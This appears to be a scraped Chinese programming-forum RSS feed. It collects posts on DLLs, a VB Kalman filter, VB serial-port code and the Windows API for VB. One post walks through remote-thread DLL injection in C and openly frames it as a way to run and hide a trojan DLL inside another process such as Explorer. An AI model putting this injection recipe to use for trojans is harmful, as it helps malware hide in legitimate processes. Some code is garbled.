在线观看你懂的网站,国产91在线观看,亚洲高清视频一区二区三区http://www.bjzhda.cnzh-cn曙海教育集團(tuán)論壇http://www.bjzhda.cnRss Generator By Dvbbs.Netofficeoffice@126.comimages/logo.gif曙海教育集團(tuán)論壇技術(shù)討論總結(jié) -之- DLL和COMhttp://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2609&Page=1wangxinxin2010-12-14 14:52:04
DLL是微軟創(chuàng)造的二進(jìn)制級別代碼重用和應(yīng)用程序管理的技術(shù). DLL有如下這些好處:
1. 由于DLL動(dòng)態(tài)加載的特性, 使得DLL模塊和應(yīng)用程序主干相剝離, 便于程序的升級 -----升級某個(gè)模塊的功能只需覆蓋某個(gè)DLL就可以了, 無需重新編譯全部代碼.
2. DLL的另一個(gè)好處也來自動(dòng)態(tài)加載, 因此依賴于這個(gè)模塊的其他各類應(yīng)用程序不需與DLL編譯在一起, 因此省出了更多的硬盤空間. 假如使用靜態(tài)鏈接, 則每一個(gè)應(yīng)用程序都需包含相應(yīng)的模塊鏡像, 對磁盤的浪費(fèi)是很嚴(yán)重的.
3. 更為重要的, 使用DLL還有助于節(jié)省內(nèi)存. 因?yàn)橄到y(tǒng)為DLL提供了引用計(jì)數(shù), 所有加載DLL的進(jìn)程共享DLL的頁面(當(dāng)然數(shù)據(jù)不能共享,數(shù)據(jù)由進(jìn)程自己保存.能夠共享的是相當(dāng)于代碼段的頁面),因此DLL使得內(nèi)存的使用更有效.
4. 使用DLL可以實(shí)現(xiàn)多語言編程.例如VB的程序可以調(diào)用C++代碼實(shí)現(xiàn)的DLL模塊里面的函數(shù).

DLL有兩種加載方式, 一種是隱示加載, 就是在應(yīng)用程序里包含DLL編寫者提供的.h文件和編譯時(shí)產(chǎn)生的.lib文件. 這樣DLL將會(huì)在程序啟動(dòng)時(shí)加載入進(jìn)程. 可以想見, 如word這類的程序在啟動(dòng)之時(shí)如此緩慢, 就是在不斷的加載各種DLL模塊.
另一種加載方式就是在程序中調(diào)用LoadLibrary函數(shù)顯示加載DLL, 然后通過調(diào)用GetProcAddress函數(shù)獲取相應(yīng)函數(shù)的地址(即函數(shù)指針), 從而調(diào)用DLL內(nèi)的函數(shù). 這種做法有一個(gè)很好的優(yōu)點(diǎn)就是不必所有的DLL都在啟動(dòng)時(shí)加載, 很多DLL模塊都可以在需要使用的時(shí)候再臨時(shí)加載, 有些DLL假如沒有用到可以一直不加載. 我個(gè)人認(rèn)為這是很好的用戶體驗(yàn). 我不理解的是為什么MS的各類產(chǎn)品沒有使用這種方式進(jìn)行程序設(shè)計(jì).或許他已經(jīng)用了, 但是啟動(dòng)時(shí)候必須加載的DLL項(xiàng)目太多?我就不再猜測了..
顯示加載的DLL需要手動(dòng)卸載, 調(diào)用FreeLibrary函數(shù)卸載它.

與普通的EXE一樣, DLL也有一個(gè)進(jìn)入點(diǎn)函數(shù), 名字叫做DllMain, 這個(gè)函數(shù)接受三個(gè)參數(shù), HINSTANCE hInst, DWORD fdwReason, PVOID fImpLoad
我在這里只討論第二個(gè)參數(shù)fdwReason. 它可以是4個(gè)值: DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH
分別表示DLL首次加載,DLL從進(jìn)程中釋放, DLL線程的構(gòu)造和終止. 其實(shí)系統(tǒng)為DLL提供了引用計(jì)數(shù), DLL只加載入RAM一次, 所有進(jìn)程共享DLL的各個(gè)頁面, 所以只有第一次加載會(huì)調(diào)用帶有DLL_PROCESS_ATTACH的DllMain. 但每次DLL從進(jìn)程中釋放都會(huì)調(diào)用帶DLL_PROCESS_DETACH的DllMain, 這是因?yàn)檫M(jìn)程保存了DLL里面的一些變量可能需要釋放掉.
因此DllMain可以阻止進(jìn)程結(jié)束.它可以在DLL_PROCESS_DETACH消息中放一個(gè)死循環(huán),等待所有資源都被釋放掉才退出. 如果有些資源出了問題, 就可能導(dǎo)致DLL無法正常退出.這就是為什么有些程序即使你去點(diǎn)小紅叉叉也結(jié)束不了進(jìn)程的原因.這種情況可以調(diào)用TerminateProcess函數(shù)強(qiáng)關(guān)進(jìn)程.這就是為什么通過任務(wù)管理器仍然能結(jié)束進(jìn)程的原因(但是這樣做有可能丟失數(shù)據(jù)...)]]>
vb語言實(shí)現(xiàn)的卡爾曼濾波源程序http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2608&Page=1wangxinxin2010-12-14 14:47:56(沒有測試,輸出部分要配合相應(yīng)的過程)

Dim num1, num2, num3
Dim a(), a1(), e() As Single
Dim alf, xgm(), p(), k1(), k2, k(), p1(), p2(), c(), c1, k3(), k4(), cc() As Single
Private Sub Command1_Click()
CommonDialog1.ShowOpen
Open CommonDialog1.FileName For Input As #1
num3 = Val(Text1.Text) + 2
num2 = Val(Text2.Text)
ReDim a(num3, num2)
For j = 1 To num3
For i = 1 To num2
Input #1, a(j, i)
Next i
Next j
Close #1

End Sub

Private Sub Command2_Click()
CommonDialog1.ShowSave
Open CommonDialog1.FileName For Append As #2

For i = 1 To num2
Print #2, cc(i, 1), cc(i, 2), cc(i, 3)
Next i

Close #2
Shell "c:\windows\notepad " & CommonDialog1.FileName
End Sub

Private Sub Command3_Click()

num1 = Val(Text1.Text) + 1
num2 = Val(Text2.Text)
num3 = Val(Text1.Text) + 2
ReDim a1(num2), e(num1, num2) As Single
ReDim xgm(num1), p(num1, num1), k1(num1), k(num1), p1(num1, num1), p2(num1, num1), c(num1), k3(num1), k4(num1), cc(num2, num1) As Single





c(1) = c(2) = c(3) = 0
r = 0.000001
alf = 10
For j = 1 To num1
For i = 1 To num2
e(j, i) = a(j, i)
a1(i) = a(num3, i)
Next i
Next j
For x = 1 To num1
xgm(x) = alf * Sqr(r / e(x, 1))
p(x, x) = xgm(x) ^ 2
Next x

For q = 1 To num2
For i = 1 To num1
k3(i) = k4(i) = 0
Next i
k2 = 0
For i = 1 To num1
For j = 1 To num1
p1(i, j) = p2(i, j) = 0
Next j
Next i
c1 = 0

For m = 1 To num1
k3(m) = 0
For n = 1 To num1
k3(m) = k3(m) + e(n, q) * p(n, m)
Next n
Next m

For m = 1 To num1
k4(m) = 0
k4(m) = k4(m) + 1000 * k3(m) * e(m, q)
Next m

For i = 1 To num1
k2 = k2 + k4(i)
Next i

For v = 1 To num1
k(v) = 0
k(v) = k3(v) * (k2 / 1000 + r) ^ -1
Next v

For i = 1 To num1
For j = 1 To 3
p1(i, j) = k(i) * e(j, q)
Next j
Next i

For l = 1 To num1
For i = 1 To num1
p2(l, i) = 0
For j = 1 To num1

p2(l, i) = 1000 * p1(l, j) * p(j, i) + p2(l, i)
Next j
Next i
Next l

For i = 1 To num1
For j = 1 To num1
p(i, j) = p(i, j) - p2(i, j) / 1000
Next j
Next i

For i = 1 To num1
c1 = c1 + e(i, q) * c(i)
Next i
For i = 1 To num1
c(i) = c(i) + k(i) * (a1(q) - c1)

Next i


For i = 1 To num1

cc(q, i) = c(i)
Next i
Next q

End Sub

Private Sub Command4_Click()
End
End Sub]]>
用vb和c語言來進(jìn)行遠(yuǎn)程線形技術(shù)http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2607&Page=1wangxinxin2010-12-14 14:39:24
遠(yuǎn)程線程技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動(dòng)時(shí)被同時(shí)自動(dòng)建立的那個(gè)線程)共享地址空間以及其他的資源。 但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程耶!)的地址空間,所以,實(shí)際上,我們通過一個(gè)遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個(gè)遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。例如在遠(yuǎn)程進(jìn)程內(nèi)部啟動(dòng)一個(gè)DLL木馬(與進(jìn)入進(jìn)程內(nèi)部相比,啟動(dòng)一個(gè)DLL木馬是小意思,實(shí)際上我們可以隨意篡改那個(gè)遠(yuǎn)程進(jìn)程的數(shù)據(jù))。

  首先,我們通過OpenProcess 來打開我們試圖嵌入的進(jìn)程(如果遠(yuǎn)程進(jìn)程不允許打開,那么嵌入就無法進(jìn)行了,這往往是由于權(quán)限不足引起的,解決方法是通過種種途徑提升本地進(jìn)程的權(quán)限) 

 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠(yuǎn)程創(chuàng)建線程 
                PROCESS_VM_OPERATION | file://允許遠(yuǎn)程VM操作 
                PROCESS_VM_WRITE,//允許遠(yuǎn)程VM寫 
                FALSE, dwRemoteProcessId ) 

  由于我們后面需要寫入遠(yuǎn)程進(jìn)程的內(nèi)存地址空間并建立遠(yuǎn)程線程,所以需要申請足夠的權(quán)限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。 

  然后,我們可以建立LoadLibraryW函數(shù)這個(gè)線程來啟動(dòng)我們的DLL木馬,LoadLibraryW函數(shù)是在kernel32.dll中定義的,用來加載DLL文件,它只有一個(gè)參數(shù),就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠(yuǎn)程進(jìn)程內(nèi)調(diào)用的,所以我們首先還需要將這個(gè)文件名復(fù)制到遠(yuǎn)程地址空間:(否則遠(yuǎn)程線程是無法讀到這個(gè)參數(shù)的) 

 file://計(jì)算DLL路徑名需要的內(nèi)存空間 
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); 
 file://使用VirtualAllocEx函數(shù)在遠(yuǎn)程進(jìn)程的內(nèi)存地址空間分配DLL文件名緩沖區(qū) 
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
            MEM_COMMIT, PAGE_READWRITE); 
 file://使用WriteProcessMemory函數(shù)將DLL的路徑名復(fù)制到遠(yuǎn)程進(jìn)程的內(nèi)存空間 
 iReturnCode = WriteProcessMemory(hRemoteProcess, 
            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); 
 file://計(jì)算LoadLibraryW的入口地址 
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) 
     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); 

  萬事俱備,我們通過建立遠(yuǎn)程線程時(shí)的地址pfnStartAddr(實(shí)際上就是LoadLibraryW的入口地址)和傳遞的參數(shù)pszLibFileRemote(實(shí)際上是我們復(fù)制過去的木馬DLL的全路徑文件名)在遠(yuǎn)程進(jìn)程內(nèi)啟動(dòng)我們的木馬DLL: 

 file://啟動(dòng)遠(yuǎn)程線程LoadLibraryW,通過遠(yuǎn)程線程調(diào)用用戶的DLL文件 
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, 
                 pfnStartAddr, pszLibFileRemote, 0, NULL); 

  至此,遠(yuǎn)程嵌入順利完成,為了試驗(yàn)我們的DLL是不是已經(jīng)正常的在遠(yuǎn)程線程運(yùn)行,我編寫了以下的測試DLL: 

 BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) 
   { 
    char szProcessId[64] ; 
    switch ( reason ) 
     { 
      case DLL_PROCESS_ATTACH: 
       { 
         file://獲取當(dāng)前進(jìn)程ID 
         _itoa ( GetCurrentProcessId(), szProcessId, 10 ); 
         MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); 
       } 
      default: 
      return TRUE; 
     } 
   } 

  當(dāng)我使用RmtDll.exe程序?qū)⑦@個(gè)TestDLL.dll嵌入Explorer.exe進(jìn)程后(PID=1208),該測試DLL彈出了1208字樣的確認(rèn)框,同時(shí)使用PS工具也能看到 

   Process ID: 1208 
   C:WINNTExplorer.exe (0x00400000) 
   …… 
   C:TestDLL.dll (0x100000000) 
   …… 

  這證明TestDLL.dll已經(jīng)在Explorer.exe進(jìn)程內(nèi)正確地運(yùn)行了。 

  無論是使用特洛伊DLL還是使用遠(yuǎn)程線程,都是讓木馬的核心代碼運(yùn)行于別的進(jìn)程的內(nèi)存空間,這樣不僅能很好地隱藏自己,也能更好的保護(hù)自己。
]]>
開發(fā)語言中的VB串口通訊實(shí)例http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2606&Page=1wangxinxin2010-12-14 14:36:19Dim PortValue As Integer `端口號選擇1-4
Dim value As Double `當(dāng)前一次取值
Dim value2 As Double `要顯示的值
Dim valueSum As Double `和
Dim numCount As Double `算平均值是的計(jì)數(shù)個(gè)數(shù)
Dim func As Integer `功能號標(biāo)志1-4
Dim valueFlag As Integer
Private Sub Check1_Click()
`自動(dòng)刷新 被選中則 刷新按鈕無效
If Check1.value Then
Command1.Enabled = False
Else
Command1.Enabled = True

Command1.SetFocus
End If
End Sub
Private Sub Command1_Click()
`顯示
Call display
End Sub
Private Sub Command2_Click()
valueSum = 0 `清計(jì)數(shù)和
numCount = 1 `清計(jì)數(shù)個(gè)數(shù)
Label6.Caption = Str(numCount - 1) `顯示復(fù)位
value = 0
value2 = 0
valueFlag = 0
Call display
End Sub
Private Sub Form_Activate()
numCount = 1
value = 0
valueSum = 0
PortValue = 1
Text1.Visible = False
Label6.Caption = 0
Option1(0).value = True
Option2(0).value = True
Command1.SetFocus
Label1.Caption = Format(value2 0.000000)
For i = 0 To 3
If Option2(i).value = True Then
func = i + 1
End If
Next i
Check1.value = 1
`Call ComPortOpen
End Sub
Public Sub ComPortOpen() `開串口
With MSComm1
.CommPort = PortValue `使用COM1
.Settings = 9600N81 `設(shè)置通信口參數(shù)
.InBufferSize = 40
`設(shè)置MSComm1接收緩沖區(qū)為40字節(jié)
`.OutBufferSize = 2
`設(shè)置MSComm1發(fā)送緩沖區(qū)為2字節(jié)
.InputMode = comInputModeBinary
`設(shè)置接收數(shù)據(jù)模式為二進(jìn)制形式
.InputLen = 1
`設(shè)置Input 一次從接收緩沖讀取字節(jié)數(shù)為1
`.SThreshold = 1
`設(shè)置Output 一次從發(fā)送緩沖讀取字節(jié)數(shù)為1
.InBufferCount = 0 `清除接收緩沖區(qū)
`.OutBufferCount = 0 `清除發(fā)送緩沖區(qū)
`MaxW = -99
`最大值賦初值
`MinW = 99 `最小值賦初值
`w = 0
`數(shù)據(jù)個(gè)數(shù)計(jì)數(shù)器清零
.RThreshold = 1
On Error Resume Next
`設(shè)置接收一個(gè)字節(jié)產(chǎn)生OnComm事件
If .PortOpen = False Then
`判斷通信口是否打開
.PortOpen = True `打開通信口
If Err Then `錯(cuò)誤處理
msg = MsgBox( 串口 COM PortValue 無效! vbOKOnly 警告)
Exit Sub
End If
End If
End With
`MsgBox 端口已打開
End Sub
Public Sub ComPortClose() `關(guān)串口
MSComm1.PortOpen = False
` MsgBox 端口已關(guān)閉
End Sub
Private Sub MSComm1_OnComm()
Call recive
End Sub
Private Sub Option1_Click(Index As Integer)
If MSComm1.PortOpen = True Then
Call ComPortClose
End If
PortValue = Index + 1
Call ComPortOpen
End Sub
Private Sub recive() `檢測起始位并接收數(shù)據(jù)
Dim Buffer As Variant
Dim Arr() As Byte
Dim inData(5) As Byte
Dim count As Integer
Dim temp As Byte


` MsgBox OnComm
With MSComm1

Select Case .CommEvent
`判斷MSComm1通信事件
Case comEvReceive
`收到Rthreshold個(gè)字節(jié)產(chǎn)生的接收事件
Buffer = .Input
Arr = Buffer

`讀取一個(gè)接收字節(jié)
` Text1.Text = Arr(0)
If Arr(0) = H1B Then
.RThreshold = 0
Do
DoEvents
Loop Until .InBufferCount >= 4

For i = 1 To 4
`count = .InBufferCount
Buffer = .Input
Arr = Buffer
inData(i) = Arr(0)
Next i
If inData(4) = HA Then
If (inData(1) Mod 64) >= 32 Then
.RThreshold = 1
Exit Sub
End If
valueFlag = 1
`0.000003814697265625
temp = inData(1) Mod 16
If temp <= 7 Then
value = inData(1) Mod 8
value = value * 256 * 256
value = value + Val(inData(2)) * 256
value = value + Val(inData(3))
value = value * 3.814697265625E-06
`Text1.Text = Format(value 0.000000)
Else
value = inData(1) Mod 8
value = value * 256 * 256
value = value + Val(inData(2)) * 256
value = value + Val(inData(3))
value = value * 3.814697265625E-06
value = 0 - value
End If
temp = inData(1) Mod 128
` test OF
If temp >= 64 Then
If value < 0 Then
value = value - 0.000004
Else
value = value + 0.000004
End If
End If
`檢測自動(dòng)刷新
If Check1.value Then
`valueFlag = 1
Call display
End If
]]>
什么是APIhttp://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2605&Page=1wangxinxin2010-12-14 14:31:43
如果你打開WINDOWS的SYSTEM文件夾,你可以發(fā)現(xiàn)其中有很多附加名為DLL的文件。一個(gè)DLL中包含的API函數(shù)并不只是一個(gè),數(shù)十個(gè),甚至是數(shù)百個(gè)。我們能都掌握它嘛?回答是否定的∶不可能掌握。但實(shí)際上,我們真的沒必要都掌握,只要重點(diǎn)掌握Windos系統(tǒng)本身自帶的API函數(shù)就可以了。但,在其中還應(yīng)當(dāng)拋開掉同VB本身自有的函數(shù)重復(fù)的函數(shù)。如,VB
的etAttr命令可以獲得文件屬性,SetAttr可以設(shè)置文件屬性。對API來講也有對應(yīng)的函數(shù)
GetFileAttributes和SetFileAttributes,性能都差不多。如此地一算,剩下來的也就5、600個(gè)。是的,也不少。但,我可以敢跟你說,只要你熟悉地掌握100個(gè),那么你的編程水平比現(xiàn)在高出至少要兩倍。盡管人們說VB和WINDOWS具有密切的關(guān)系,但我認(rèn)為,API更接近
WINDOWS。如果你學(xué)會(huì)了API,首要的收獲便是對WINDOWS體系結(jié)構(gòu)的認(rèn)識(shí)。這個(gè)收獲是來自不易的。

如果你不依靠API會(huì)怎么樣?我可以跟你說,絕大多是高級編程書本(當(dāng)然這不是書的名程叫高級而高級的,而是在一開始的《本書內(nèi)容》中指明《本書的閱讀對象是具有一定VB基礎(chǔ)的讀者》的那些書),首先提的問題一般大都是從API開始。因此可以說,你不學(xué)API,你大概將停留在初級水平,無法往上攀登。唯一的途徑也許就是向別人求救∶我快死了,快來救救我呀,這個(gè)怎么辦,那個(gè)怎么辦?煩不煩呢?當(dāng)然,現(xiàn)在網(wǎng)上好人太多(包括我在內(nèi),嘻嘻),但,你應(yīng)當(dāng)明白,通過此途徑,你的手中出不了好的作品。這是因?yàn)槿狈@些知識(shí)你的腦子里根本行不成一種總體的設(shè)計(jì)構(gòu)思。
API文本游覽器 [返回]

很多API函數(shù)都是很長很長的。想看什么樣子嗎?如下就是作為例子的API DdeClientTransaction函數(shù)∶
Declare Function DdeClientTransaction Lib "user32" (pData As Byte, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, pdwResult As Long) As Long
哇!這么長?如果你從來沒有接觸過API,我想你肯定被嚇住了。你也許考慮,該不該繼續(xù)學(xué)下去。不過不要擔(dān)心,幸運(yùn)的是Microsoft的設(shè)計(jì)家們?yōu)槲覀兲峁┝擞杏玫墓ぞ撸@便是API
文本查看器。

通過API文本查看器,我們可以方便地查找程序所需要的函數(shù)聲明、結(jié)構(gòu)類型和常數(shù),然后將它復(fù)制到剪貼板,最后再粘貼到VB程序的代碼段中。在大多數(shù)情況下,只要我們確定了程序所需要的函數(shù)、結(jié)構(gòu)和常數(shù)這三個(gè)方面后,就可以通過對API文本游覽器的以上操作將他們加入到程序段中,從而程序中可以使用這些函數(shù)了。這些是學(xué)習(xí)API最基本的常識(shí)問題,它遠(yuǎn)遠(yuǎn)占不到API的龐大的體系內(nèi)容。今后我們把精力浪費(fèi)(這絕不是浪費(fèi))在哪里呢?那就是∶
什么時(shí)候使用什么函數(shù),什么時(shí)候使用什么結(jié)構(gòu)類型,什么時(shí)候使用什么常數(shù)。
API函數(shù)聲明 [返回]

讓我們回想一下。在VB中,如何聲明函數(shù)呢?我想,如果你正在看此文,那么你絕對能夠回答得出這個(gè)問題。以下便是你應(yīng)該很熟悉的函數(shù)聲明∶
Function SetFocus (ByVal hwnd As Long) As Long
即,這行代碼定義了名為SetFocus的函數(shù),此函數(shù)具有一個(gè)Long型數(shù)據(jù)類型的參數(shù),并按值傳遞(ByVal),函數(shù)執(zhí)行后將返回一個(gè)Long型數(shù)據(jù)。
API函數(shù)的聲明也很類似,如,API中的SetFocus 函數(shù)是這樣寫的∶

Declare Function SetFocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
有點(diǎn)復(fù)雜了一些。是的,是復(fù)雜了點(diǎn)。但我可以告訴你,除了這些多出來的部分,其他部分還是和你以前學(xué)到的東西是一樣的。函數(shù)在程序中的調(diào)用也是一樣。如:
Dim dl As Long
dl&=SetFoucs(Form1.Hwnd)
但,一點(diǎn)是清楚的。它不象你自己寫的程序那樣能夠看到里面的運(yùn)行機(jī)理,也不像VB
自帶的函數(shù)那樣,能夠從VB的聯(lián)機(jī)幫助中查到其用法。唯一的方法就是去學(xué)、查VB以外的資料。

Declare 語句用于在模塊級別中聲明對動(dòng)態(tài)鏈接庫 (DLL) 中外部過程的引用。對此,你只要記住任何API函數(shù)聲明都必須寫這個(gè)語句就可以了。
Iib 指明包含所聲明過程或函數(shù)的動(dòng)態(tài)鏈接庫或代碼資源。也就是說,它說明的是,函數(shù)或過程從何而來的問題。
如在上例中,SetFocus Lib "user32"說明 函數(shù) SetFocus 來自 user32.dll文件。主要的dll動(dòng)態(tài)連接庫文件有∶
user32.dll Windows管理。生成和管理應(yīng)用程序的用戶接口。

GDI32.dll 圖形設(shè)備接口。產(chǎn)生Windows設(shè)備的圖形輸出
Kernel32.dll 系統(tǒng)服務(wù)。訪問操作系統(tǒng)的計(jì)算機(jī)資源。
注意,當(dāng)DLL文件不在Windows或System文件夾中的時(shí)候,必須在函數(shù)中說明其出處(
路徑)。如,SetFocus Lib "c:\Mydll\user32"
函數(shù)聲明中的Alias 是可選的。表示將被調(diào)用的過程在動(dòng)態(tài)鏈接庫 (DLL) 中還有另外的名稱(別名)。如,Alias "SetFocus" ,說明SetFocus函數(shù)在User32.dll中的另外一個(gè)名稱是,
SetFocus。怎么兩個(gè)名都一樣呢?當(dāng)然,也可以是不同的。在很多情況下,Alias說明的函數(shù)名,即別名最后一個(gè)字符經(jīng)常是字符A,如SetWindowsText函數(shù)的另一個(gè)名稱是
SetWindowsTextA,表示為Alias "SetWindowsTextA"。這個(gè)A只不過是設(shè)計(jì)家們的習(xí)慣的命名約定,表示函數(shù)屬于ANSI版本。

那么,別名究竟有什么用途呢?從理論上講,別名提供了用另一個(gè)名子調(diào)用API的函數(shù)方法。如果你指明了別名,那么 盡管我們按Declare語句后面的函數(shù)來調(diào)用該函數(shù),但在函數(shù)的實(shí)際調(diào)用上是以別名作為首要選擇的。如,以下兩個(gè)函數(shù)(Function,ABCD)聲明都是有效的,他們調(diào)用的是同一個(gè) SetFocus函數(shù)∶
Declare Function SetFocus Lib "user32" "SetFocus" (ByVal hwnd As Long) As Long
Declare ABCD SetFocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long

需要注意的是,選用Alias的時(shí)候,應(yīng)注意別名的大小寫;如果不選用Alias 時(shí)的時(shí)候,函數(shù)名必須注意大小寫,而且不能改動(dòng)。當(dāng)然,在很多情況下,由于函數(shù)聲明是直接從API
文本游覽器中拷貝過來的,所以這種錯(cuò)誤的發(fā)生機(jī)會(huì)是很少的,但您有必要知道這一點(diǎn)。
最后提醒你一句,API聲明(包括結(jié)構(gòu)、常數(shù))必須放在窗體或模塊的"通用(General Declarations)段。
數(shù)據(jù)類型與"類型安全" [返回]

API函數(shù)中使用的數(shù)據(jù)類型基本上和VB中的一樣。但作為WIN32的API函數(shù)中,不存在Integer
數(shù)據(jù)類型。另外一點(diǎn)是在API函數(shù)中看不到Boolean數(shù)據(jù)類型。 Variant數(shù)據(jù)類型在API函數(shù)中是以Any的形式出現(xiàn),如Data As Any。盡管其含義是允許任意參數(shù)類型作為一個(gè)該API函數(shù)的參數(shù)傳遞,但這樣做存在一定的缺點(diǎn)。其原因是,這將會(huì)使得對目標(biāo)參數(shù)的所有類型檢查都會(huì)被關(guān)閉。這自然會(huì)給各種類型的參數(shù)調(diào)用帶來了產(chǎn)生錯(cuò)誤的機(jī)會(huì)。

為了強(qiáng)制執(zhí)行嚴(yán)格的類型檢查,并避免上面提到的問題,一個(gè)辦法是在函數(shù)里使用上面提到到Alias技術(shù)。如對API函數(shù) GetDIBits 可進(jìn)行另外一種聲明方法。如下∶
GetDIBits函數(shù)的原型∶
Public Declare Function GetDIBits Lib "gdi32" Alias "GetDIBits" (ByVal aHDC As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long
GetDIBits函數(shù)的改型∶

Public Declare Function GetDIBitsLong Lib "gdi32" Alias "GetDIBits" (ByVal aHDC As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Long, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long
通過本課程前面所學(xué)到的知識(shí),我們已經(jīng)可以得知原型 GetDIBits函數(shù)也好,改型 GetDIBitsLong函數(shù)也好,實(shí)際將調(diào)用的都是Alias所指定的 GetDIBits原函數(shù)。但你應(yīng)當(dāng)看到,兩者的區(qū)別在于,我們在改型的函數(shù)中強(qiáng)制指定lpBits參數(shù)為Long形。這樣就會(huì)使得函數(shù)調(diào)用中發(fā)生的錯(cuò)誤機(jī)率減少到了最小。這種方法叫做"安全類型"聲明。

API函數(shù)中經(jīng)常看到的數(shù)據(jù)類型有∶Long,String,Byte,Any....(也就這些吧。)
常 數(shù) [返回]

對于API常數(shù)來講,沒有什么太特別的學(xué)問。請看VB中的以下代碼∶
Msg = MsgBox("您好", vbOKCancel)
我們知道, vbOKCancel這個(gè)常數(shù)的值等于1。對上面的代碼我們完全可以這樣寫,而不會(huì)影響代碼的功能∶
Msg = MsgBox("您好", 1)
但你大概不太愿意選擇后一種,因?yàn)檫@會(huì)使得看懂代碼費(fèi)勁起來。這種方法也被API采取了。只是API常數(shù)必須在事情之前做好初始化聲明VB本身是看不懂的。其內(nèi)容仍然來自與API
文本游覽器。具體形式如下等等∶

Public Const ABM_ACTIVATE = &H6
Public Const RIGHT_CTRL_PRESSED = &H4
Public Const RPC_E_SERVER_DIED = &H80010007
Private Const RPC_S_CALL_FAILED_DNE = 1727&
在常數(shù)的初始化中,有些程序使用Global,如Global Const ABM_ACTIVATE = &H6,但我認(rèn)為Public完全可以代替它。過去我也用過Global,但現(xiàn)在不大用了。一會(huì)兒用這個(gè),一會(huì)兒用那個(gè),各程序之間不能保持一致性了,起碼看起來別扭。
結(jié) 構(gòu) [返回]

結(jié)構(gòu)是C和C++語言中的說法。在VB中一般稱為自定義數(shù)據(jù)類型。想必很多朋友都已經(jīng)認(rèn)識(shí)它。在API領(lǐng)域里,我更喜歡把它叫做結(jié)構(gòu),因?yàn)锳PI各種結(jié)構(gòu)類型根本不是我定義(
自定義)的。
在VB中,API結(jié)構(gòu)同樣由TYPE.......END TYPE語句來定義。如,在API中,點(diǎn)(Point)結(jié)構(gòu)的定義方法如下:
Public Type POINTAPI
X As Long '點(diǎn)在X坐標(biāo)(橫坐標(biāo))上的坐標(biāo)值

Y As Long '點(diǎn)在Y坐標(biāo)(縱坐標(biāo))上的坐標(biāo)值
End Type
又如,API中矩形(Rect)結(jié)構(gòu)的定義如下∶
Public Type RECT
Left As Long '矩形左上角的X坐標(biāo)
Top As Long '矩形左上角的Y坐標(biāo)
Right As Long '矩形右下角的X坐標(biāo)
Bottom As Long '矩形右下角的Y坐標(biāo)

End Type
這些內(nèi)容同樣可以從API文本游覽器中拷貝過來。這些結(jié)構(gòu)中的變量名可隨意改動(dòng),而不會(huì)影響結(jié)構(gòu)本身。也就是說,這些成員變量都是虛擬的。如,POINTAPI結(jié)構(gòu)可改為如下∶
Public Type POINTAPI
MyX As Long '點(diǎn)在X坐標(biāo)(橫坐標(biāo))上的坐標(biāo)值
MyY As Long '點(diǎn)在Y坐標(biāo)(縱坐標(biāo))上的坐標(biāo)值
End Type
不過,一般來講,是沒有這種必要的。結(jié)構(gòu)本身是一種數(shù)據(jù)類型,因此,使用時(shí)必須聲明具體變量為該結(jié)構(gòu)型,才能在程序中真正使用到該結(jié)構(gòu)。結(jié)構(gòu)的聲明方法和其他數(shù)據(jù)的聲明方法一樣,如,以下語句把變MyPoint聲明為POINTAPI結(jié)構(gòu)類型∶

MyPoint As POINTAPI
引用結(jié)構(gòu)中的成員變量也十分簡單,在結(jié)構(gòu)名后面加上一個(gè)".",然后緊接著寫要引用的成員變量即可。這很象VB中的引用一個(gè)對象的某個(gè)屬性。如,假如我們把上面已經(jīng)聲明的MyPoint結(jié)構(gòu)中的X變量的值賦給變量Temp&
則代碼如下∶
Temp&=MyPoint.X
但,特別注意的是,你千萬不要認(rèn)為上例中的MyPoint是一個(gè)值。它不是值,而是地址(
指針)。值和地址是完全不同的概念。結(jié)構(gòu)要求按引用傳遞給WINDOWS函數(shù),即所有API
